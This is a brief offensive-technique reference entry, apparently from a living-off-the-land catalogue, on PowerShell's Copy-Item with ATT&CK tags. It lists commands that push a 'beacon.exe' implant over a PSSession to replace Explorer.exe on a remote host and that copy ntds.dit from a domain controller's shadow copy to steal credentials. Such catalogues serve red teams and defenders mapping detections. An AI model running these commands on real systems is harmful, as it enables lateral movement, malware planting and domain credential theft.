.. / Copy-Item

Copies an item from one location to another

• https://blog.bitsadmin.com/extracting-credentials-from-remote-windows-system

Data

Copy file from PSSession

Copy-Item -Path C:\boot.ini -Destination . -FromSession $ps

• Create PSSession $ps using New-PSSession
• PowerShell Module: Microsoft.PowerShell.Management

Copy file to PSSession

Copy-Item -Path C:\beacon.exe -Destination C:\Windows\System32\Explorer.exe -ToSession $ps

• Create PSSession $ps using New-PSSession
• PowerShell Module: Microsoft.PowerShell.Management

• T1021.006
• T1570

Copy from volume shadow copy

Copy-Item -Path \\DC01.ad.bitsadmin.com\C$\@GMT-2023.06.01-19.34.01\Windows\NTDS\ntds.dit -Destination C:\Tmp\

• Create PSSession $ps using New-PSSession
• Example of performing such copy at the blog in the references
• PowerShell Module: Microsoft.PowerShell.Management

• T1570
• T1021.002